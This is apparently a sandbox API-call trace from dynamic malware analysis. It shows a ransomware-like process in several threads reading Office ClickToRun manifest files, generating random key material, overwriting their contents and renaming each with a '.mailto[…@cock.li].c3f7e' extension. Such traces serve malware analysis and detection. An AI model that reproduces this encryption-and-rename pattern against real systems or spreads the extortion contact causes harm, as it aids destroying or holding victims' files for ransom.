	[0088.741] SetFilePointerEx (in: hFile=0x1bc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0088.741] WriteFile (in: hFile=0x1bc8, lpBuffer=0x47cf020*, nNumberOfBytesToWrite=0x91f0, lpNumberOfBytesWritten=0x2bfbfe2c, lpOverlapped=0x0 | out: lpBuffer=0x47cf020*, lpNumberOfBytesWritten=0x2bfbfe2c*=0x91f0, lpOverlapped=0x0) returned 1
	[0088.744] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47e20
	[0088.745] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47e48
	[0088.745] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47e48) returned 1
	[0088.745] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47cf020) returned 1
	[0088.745] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x503e840) returned 1
	[0088.745] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d834e0) returned 1
	[0088.745] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfb198) returned 1
	[0088.745] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x71) returned 0x47bc790
	[0088.745] SetFilePointerEx (in: hFile=0x1bc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0088.745] WriteFile (in: hFile=0x1bc8, lpBuffer=0x2e02570*, nNumberOfBytesToWrite=0x155, lpNumberOfBytesWritten=0x2bfbfe94, lpOverlapped=0x0 | out: lpBuffer=0x2e02570*, lpNumberOfBytesWritten=0x2bfbfe94*=0x155, lpOverlapped=0x0) returned 1
	[0088.747] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e02570) returned 1
	[0088.747] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47bc090) returned 1
	[0088.747] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47e98) returned 1
	[0088.747] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47bc790) returned 1
	[0088.747] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47e20) returned 1
	[0088.747] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47ce0) returned 1
	[0088.747] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47d80) returned 1
	[0088.747] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47f60) returned 1
	[0088.747] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x142) returned 0x2e02570
	[0088.747] wcscpy (in: _Dest=0x2e02570, _Source="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Access.Access.x-none.msi.16.x-none.xml" | out: _Dest="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Access.Access.x-none.msi.16.x-none.xml") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Access.Access.x-none.msi.16.x-none.xml"
	[0088.747] wcscat (in: _Dest=0x2e02570, _Source=".mailto[kkeessnnkkaa@cock.li].c3f7e" | out: _Dest="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Access.Access.x-none.msi.16.x-none.xml.mailto[kkeessnnkkaa@cock.li].c3f7e") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Access.Access.x-none.msi.16.x-none.xml.mailto[kkeessnnkkaa@cock.li].c3f7e"
	[0088.747] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Access.Access.x-none.msi.16.x-none.xml.mailto[kkeessnnkkaa@cock.li].c3f7e", NtPathName=0x2bfbfe4c, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Access.Access.x-none.msi.16.x-none.xml.mailto[kkeessnnkkaa@cock.li].c3f7e", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1
	[0088.747] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x158) returned 0x4730008
	[0088.748] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4730008) returned 1
	[0088.748] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x498ed90) returned 1
	[0088.748] NtQueryInformationFile (in: FileHandle=0x1bc8, IoStatusBlock=0x2bfbfe58, FileInformation=0x2bfbfe30, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2bfbfe58, FileInformation=0x2bfbfe30) returned 0x0
	[0088.748] NtSetInformationFile (FileHandle=0x1bc8, IoStatusBlock=0x2bfbfe58, FileInformation=0x2bfbfe30, Length=0x28, FileInformationClass=0x4) returned 0x0
	[0088.749] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e02570) returned 1
	[0088.749] FlushFileBuffers (hFile=0x1bc8) returned 1
	[0093.258] CloseHandle (hObject=0x1bc8) 

Thread:
	id = 1271
	os_tid = 0x2018

	[0088.756] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.accessmui.msi.16.en-us.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.accessmui.msi.16.en-us.xml")) returned 0x20
	[0088.757] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.accessmui.msi.16.en-us.xml", dwFileAttributes=0x20) returned 1
	[0088.757] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.accessmui.msi.16.en-us.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.accessmui.msi.16.en-us.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1bcc
	[0088.757] GetFileSizeEx (in: hFile=0x1bcc, lpFileSize=0x2c03fb80 | out: lpFileSize=0x2c03fb80*=59164) returned 1
	[0088.757] SetFilePointerEx (in: hFile=0x1bcc, liDistanceToMove=0xe718, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0088.757] ReadFile (in: hFile=0x1bcc, lpBuffer=0x2c03fb04, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2c03fb00, lpOverlapped=0x0 | out: lpBuffer=0x2c03fb04*, lpNumberOfBytesRead=0x2c03fb00*=0x4, lpOverlapped=0x0) returned 1
	[0088.758] SetFilePointerEx (in: hFile=0x1bcc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0088.759] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47e48
	[0088.759] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47f88
	[0088.759] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47df8
	[0088.759] NtQuerySystemTime (in: CurrentTime=0x2c03fae0 | out: CurrentTime=0x2c03fae0*=132251868154913125) returned 0x0
	[0088.759] RtlRandom (in: Seed=0x2c03faec | out: Seed=0x2c03faec) returned 0x63107d88
	[0088.759] RtlRandom (in: Seed=0x2c03faec | out: Seed=0x2c03faec) returned 0x5aa463b0
	[0088.759] RtlRandom (in: Seed=0x2c03faec | out: Seed=0x2c03faec) returned 0x1998aa38
	[0088.759] RtlRandom (in: Seed=0x2c03faec | out: Seed=0x2c03faec) returned 0x817880dd
	[0088.759] RtlRandom (in: Seed=0x2c03faec | out: Seed=0x2c03faec) returned 0x6d69ef9f
	[0088.759] RtlRandom (in: Seed=0x2c03faec | out: Seed=0x2c03faec) returned 0xf7e91158
	[0088.759] RtlRandom (in: Seed=0x2c03faec | out: Seed=0x2c03faec) returned 0x68193336
	[0088.759] RtlRandom (in: Seed=0x2c03faec | out: Seed=0x2c03faec) returned 0x486044ad
	[0088.759] RtlRandom (in: Seed=0x2c03faec | out: Seed=0x2c03faec) returned 0x6a5439d
	[0088.759] RtlRandom (in: Seed=0x2c03faec | out: Seed=0x2c03faec) returned 0xb65de98
	[0088.759] RtlRandom (in: Seed=0x2c03faec | out: Seed=0x2c03faec) returned 0xecc7b99f
	[0088.759] RtlRandom (in: Seed=0x2c03faec | out: Seed=0x2c03faec) returned 0xc3fb9424
	[0088.759] RtlRandom (in: Seed=0x2c03faec | out: Seed=0x2c03faec) returned 0x4c23ed58
	[0088.759] RtlRandom (in: Seed=0x2c03faec | out: Seed=0x2c03faec) returned 0x33b3684f
	[0088.759] RtlRandom (in: Seed=0x2c03faec | out: Seed=0x2c03faec) returned 0xe375c0ad
	[0088.759] RtlRandom (in: Seed=0x2c03faec | out: Seed=0x2c03faec) returned 0x8f4ffde9
	[0088.759] RtlRandom (in: Seed=0x2c03faec | out: Seed=0x2c03faec) returned 0x95a9666a
	[0088.759] RtlRandom (in: Seed=0x2c03faec | out: Seed=0x2c03faec) returned 0xf4ca128f
	[0088.759] RtlRandom (in: Seed=0x2c03faec | out: Seed=0x2c03faec) returned 0x66850e05
	[0088.759] RtlRandom (in: Seed=0x2c03faec | out: Seed=0x2c03faec) returned 0x1778ba97
	[0088.759] RtlRandom (in: Seed=0x2c03faec | out: Seed=0x2c03faec) returned 0x5997ccd4
	[0088.759] RtlRandom (in: Seed=0x2c03faec | out: Seed=0x2c03faec) returned 0x8b6eb60e
	[0088.759] RtlRandom (in: Seed=0x2c03faec | out: Seed=0x2c03faec) returned 0xd70291be
	[0088.759] RtlRandom (in: Seed=0x2c03faec | out: Seed=0x2c03faec) returned 0xfbea988d
	[0088.759] RtlRandom (in: Seed=0x2c03faec | out: Seed=0x2c03faec) returned 0x9b66702
	[0088.759] RtlRandom (in: Seed=0x2c03faec | out: Seed=0x2c03faec) returned 0xca9b06b4
	[0088.759] RtlRandom (in: Seed=0x2c03faec | out: Seed=0x2c03faec) returned 0x6130f853
	[0088.759] RtlRandom (in: Seed=0x2c03faec | out: Seed=0x2c03faec) returned 0xc64bdc05
	[0088.759] RtlRandom (in: Seed=0x2c03faec | out: Seed=0x2c03faec) returned 0xd5cc9e88
	[0088.759] RtlRandom (in: Seed=0x2c03faec | out: Seed=0x2c03faec) returned 0xd84661ba
	[0088.759] RtlRandom (in: Seed=0x2c03faec | out: Seed=0x2c03faec) returned 0xfb07362d
	[0088.759] RtlRandom (in: Seed=0x2c03faec | out: Seed=0x2c03faec) returned 0x237e41c1
	[0088.768] SetFilePointerEx (in: hFile=0x1bcc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0088.768] ReadFile (in: hFile=0x1bcc, lpBuffer=0x4ff2800, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0x2c03fac0, lpOverlapped=0x0 | out: lpBuffer=0x4ff2800*, lpNumberOfBytesRead=0x2c03fac0*=0xc800, lpOverlapped=0x0) returned 1
	[0088.771] SetFilePointerEx (in: hFile=0x1bcc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0088.771] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2dfb198
	[0088.771] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x2d834e0
	[0088.771] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47e98
	[0088.771] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47e98) returned 1
	[0088.772] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x5032038
	[0088.773] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47d58
	[0088.773] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47d80
	[0088.773] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47d80) returned 1
	[0088.773] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d834e0) returned 1
	[0088.773] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfb198) returned 1
	[0088.773] WriteFile (in: hFile=0x1bcc, lpBuffer=0x5032038*, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0x2c03fac0, lpOverlapped=0x0 | out: lpBuffer=0x5032038*, lpNumberOfBytesWritten=0x2c03fac0*=0xc800, lpOverlapped=0x0) returned 1
	[0093.163] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x5032038) returned 1
	[0093.163] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4ff2800) returned 1
	[0093.163] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x59) returned 0x4733b40
	[0093.163] SetFilePointerEx (in: hFile=0x1bcc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0093.164] WriteFile (hFile=0x1bcc, lpBuffer=0x4790ad0, nNumberOfBytesToWrite=0x13d, lpNumberOfBytesWritten=0x2c03fb40, lpOverlapped=0x0) 

Thread:
	id = 1272
	os_tid = 0x201c

	[0088.768] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.accessmuiset.msi.16.en-us.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.accessmuiset.msi.16.en-us.xml")) returned 0x20
	[0088.769] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.accessmuiset.msi.16.en-us.xml", dwFileAttributes=0x20) returned 1
	[0088.769] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.accessmuiset.msi.16.en-us.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.accessmuiset.msi.16.en-us.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1bd0
	[0088.769] GetFileSizeEx (in: hFile=0x1bd0, lpFileSize=0x2c0bfa24 | out: lpFileSize=0x2c0bfa24*=2042) returned 1
	[0088.770] SetFilePointerEx (in: hFile=0x1bd0, liDistanceToMove=0x7f6, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0088.770] ReadFile (in: hFile=0x1bd0, lpBuffer=0x2c0bf9a8, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2c0bf9a4, lpOverlapped=0x0 | out: lpBuffer=0x2c0bf9a8*, lpNumberOfBytesRead=0x2c0bf9a4*=0x4, lpOverlapped=0x0) returned 1
	[0088.774] SetFilePointerEx (in: hFile=0x1bd0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0088.774] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47e48
	[0088.774] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47ce0
	[0088.774] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47e70
	[0088.774] NtQuerySystemTime (in: CurrentTime=0x2c0bf984 | out: CurrentTime=0x2c0bf984*=132251868155069850) returned 0x0
	[0088.774] RtlRandom (in: Seed=0x2c0bf990 | out: Seed=0x2c0bf990) returned 0x7d8d9576
	[0088.774] RtlRandom (in: Seed=0x2c0bf990 | out: Seed=0x2c0bf990) returned 0x6d2653c5
	[0088.774] RtlRandom (in: Seed=0x2c0bf990 | out: Seed=0x2c0bf990) returned 0x51d74466
	[0088.774] RtlRandom (in: Seed=0x2c0bf990 | out: Seed=0x2c0bf990) returned 0x9c505b08
	[0088.774] RtlRandom (in: Seed=0x2c0bf990 | out: Seed=0x2c0bf990) returned 0xbd6f04ac
	[0088.774] RtlRandom (in: Seed=0x2c0bf990 | out: Seed=0x2c0bf990) returned 0x95eb5384
	[0088.775] RtlRandom (in: Seed=0x2c0bf990 | out: Seed=0x2c0bf990) returned 0x5b851bb2
	[0088.775] RtlRandom (in: Seed=0x2c0bf990 | out: Seed=0x2c0bf990) returned 0x4951de6d
	[0088.775] RtlRandom (in: Seed=0x2c0bf990 | out: Seed=0x2c0bf990) returned 0xa8a52ced
	[0088.775] RtlRandom (in: Seed=0x2c0bf990 | out: Seed=0x2c0bf990) returned 0x3343a1b
	[0088.775] RtlRandom (in: Seed=0x2c0bf990 | out: Seed=0x2c0bf990) returned 0xf745eb6c
	[0088.775] RtlRandom (in: Seed=0x2c0bf990 | out: Seed=0x2c0bf990) returned 0x69d96938
	[0088.775] RtlRandom (in: Seed=0x2c0bf990 | out: Seed=0x2c0bf990) returned 0xc6e29183
	[0088.775] RtlRandom (in: Seed=0x2c0bf990 | out: Seed=0x2c0bf990) returned 0xa3ce0e1b
	[0088.775] RtlRandom (in: Seed=0x2c0bf990 | out: Seed=0x2c0bf990) returned 0x4f9eb73e
	[0088.775] RtlRandom (in: Seed=0x2c0bf990 | out: Seed=0x2c0bf990) returned 0x6bb407d3
	[0088.775] RtlRandom (in: Seed=0x2c0bf990 | out: Seed=0x2c0bf990) returned 0x78161a1
	[0088.775] RtlRandom (in: Seed=0x2c0bf990 | out: Seed=0x2c0bf990) returned 0x95c37ee6
	[0088.775] RtlRandom (in: Seed=0x2c0bf990 | out: Seed=0x2c0bf990) returned 0x26b4eb76
	[0088.775] RtlRandom (in: Seed=0x2c0bf990 | out: Seed=0x2c0bf990) returned 0xf63da85a
	[0088.775] RtlRandom (in: Seed=0x2c0bf990 | out: Seed=0x2c0bf990) returned 0xc416d02
	[0088.775] RtlRandom (in: Seed=0x2c0bf990 | out: Seed=0x2c0bf990) returned 0x75fd916f
	[0088.775] RtlRandom (in: Seed=0x2c0bf990 | out: Seed=0x2c0bf990) returned 0xc56fa749
	[0088.775] RtlRandom (in: Seed=0x2c0bf990 | out: Seed=0x2c0bf990) returned 0xdf64f0a8
	[0088.775] RtlRandom (in: Seed=0x2c0bf990 | out: Seed=0x2c0bf990) returned 0x38c88cc0
	[0088.775] RtlRandom (in: Seed=0x2c0bf990 | out: Seed=0x2c0bf990) returned 0xec151cc8
	[0088.775] RtlRandom (in: Seed=0x2c0bf990 | out: Seed=0x2c0bf990) returned 0xfdcd0daf
	[0088.775] RtlRandom (in: Seed=0x2c0bf990 | out: Seed=0x2c0bf990) returned 0xf5b99f3
	[0088.775] RtlRandom (in: Seed=0x2c0bf990 | out: Seed=0x2c0bf990) returned 0xe70abfd4
	[0088.775] RtlRandom (in: Seed=0x2c0bf990 | out: Seed=0x2c0bf990) returned 0xed09c1b3
	[0088.775] RtlRandom (in: Seed=0x2c0bf990 | out: Seed=0x2c0bf990) returned 0xd5d44c4f
	[0088.775] RtlRandom (in: Seed=0x2c0bf990 | out: Seed=0x2c0bf990) returned 0xf0ec8b
	[0088.783] ReadFile (in: hFile=0x1bd0, lpBuffer=0x503e840, nNumberOfBytesToRead=0x7fa, lpNumberOfBytesRead=0x2c0bf980, lpOverlapped=0x0 | out: lpBuffer=0x503e840*, lpNumberOfBytesRead=0x2c0bf980*=0x7fa, lpOverlapped=0x0) returned 1
	[0088.783] SetFilePointerEx (in: hFile=0x1bd0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0088.783] WriteFile (in: hFile=0x1bd0, lpBuffer=0x47cf020*, nNumberOfBytesToWrite=0x7fa, lpNumberOfBytesWritten=0x2c0bf97c, lpOverlapped=0x0 | out: lpBuffer=0x47cf020*, lpNumberOfBytesWritten=0x2c0bf97c*=0x7fa, lpOverlapped=0x0) returned 1
	[0088.785] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47da8
	[0088.785] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47dd0
	[0088.785] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47dd0) returned 1
	[0088.785] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47cf020) returned 1
	[0088.785] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x503e840) returned 1
	[0088.785] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d834e0) returned 1
	[0088.785] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfb198) returned 1
	[0088.785] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x5f) returned 0x4734088
	[0088.785] SetFilePointerEx (in: hFile=0x1bd0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0088.785] WriteFile (in: hFile=0x1bd0, lpBuffer=0x2e02570*, nNumberOfBytesToWrite=0x143, lpNumberOfBytesWritten=0x2c0bf9e4, lpOverlapped=0x0 | out: lpBuffer=0x2e02570*, lpNumberOfBytesWritten=0x2c0bf9e4*=0x143, lpOverlapped=0x0) returned 1
	[0088.786] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e02570) returned 1
	[0088.786] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47340f0) returned 1
	[0088.786] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47e20) returned 1
	[0088.786] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4734088) returned 1
	[0088.786] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47da8) returned 1
	[0088.787] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47ce0) returned 1
	[0088.787] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47d80) returned 1
	[0088.787] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47f60) returned 1
	[0088.787] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x130) returned 0x4ebca00
	[0088.787] wcscpy (in: _Dest=0x4ebca00, _Source="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.accessmuiset.msi.16.en-us.xml" | out: _Dest="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.accessmuiset.msi.16.en-us.xml") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.accessmuiset.msi.16.en-us.xml"
	[0088.787] wcscat (in: _Dest=0x4ebca00, _Source=".mailto[kkeessnnkkaa@cock.li].c3f7e" | out: _Dest="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.accessmuiset.msi.16.en-us.xml.mailto[kkeessnnkkaa@cock.li].c3f7e") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.accessmuiset.msi.16.en-us.xml.mailto[kkeessnnkkaa@cock.li].c3f7e"
	[0088.787] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.accessmuiset.msi.16.en-us.xml.mailto[kkeessnnkkaa@cock.li].c3f7e", NtPathName=0x2c0bf99c, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.accessmuiset.msi.16.en-us.xml.mailto[kkeessnnkkaa@cock.li].c3f7e", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1
	[0088.787] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x146) returned 0x2e02570
	[0088.788] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e02570) returned 1
	[0088.788] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x481e030) returned 1
	[0088.788] NtQueryInformationFile (in: FileHandle=0x1bd0, IoStatusBlock=0x2c0bf9a8, FileInformation=0x2c0bf980, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2c0bf9a8, FileInformation=0x2c0bf980) returned 0x0
	[0088.788] NtSetInformationFile (FileHandle=0x1bd0, IoStatusBlock=0x2c0bf9a8, FileInformation=0x2c0bf980, Length=0x28, FileInformationClass=0x4) returned 0x0
	[0088.789] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4ebca00) returned 1
	[0088.789] FlushFileBuffers (hFile=0x1bd0) returned 1
	[0093.259] CloseHandle (hObject=0x1bd0) 

Thread:
	id = 1273
	os_tid = 0x2020

	[0088.784] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.DCF.DCF.x-none.msi.16.x-none.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.dcf.dcf.x-none.msi.16.x-none.xml")) returned 0x20
	[0088.789] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.DCF.DCF.x-none.msi.16.x-none.xml", dwFileAttributes=0x20) returned 1
	[0088.789] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.DCF.DCF.x-none.msi.16.x-none.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.dcf.dcf.x-none.msi.16.x-none.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1bd4
	[0088.789] GetFileSizeEx (in: hFile=0x1bd4, lpFileSize=0x2c13fcb4 | out: lpFileSize=0x2c13fcb4*=16148) returned 1
	[0088.789] SetFilePointerEx (in: hFile=0x1bd4, liDistanceToMove=0x3f10, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0088.790] ReadFile (in: hFile=0x1bd4, lpBuffer=0x2c13fc38, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2c13fc34, lpOverlapped=0x0 | out: lpBuffer=0x2c13fc38*, lpNumberOfBytesRead=0x2c13fc34*=0x4, lpOverlapped=0x0) returned 1
	[0088.791] SetFilePointerEx (in: hFile=0x1bd4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0088.791] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47e48
	[0088.791] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47ce0
	[0088.791] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47e70
	[0088.791] NtQuerySystemTime (in: CurrentTime=0x2c13fc14 | out: CurrentTime=0x2c13fc14*=132251868155226088) returned 0x0
	[0088.791] RtlRandom (in: Seed=0x2c13fc20 | out: Seed=0x2c13fc20) returned 0xab922ba9
	[0088.791] RtlRandom (in: Seed=0x2c13fc20 | out: Seed=0x2c13fc20) returned 0xf36370dc
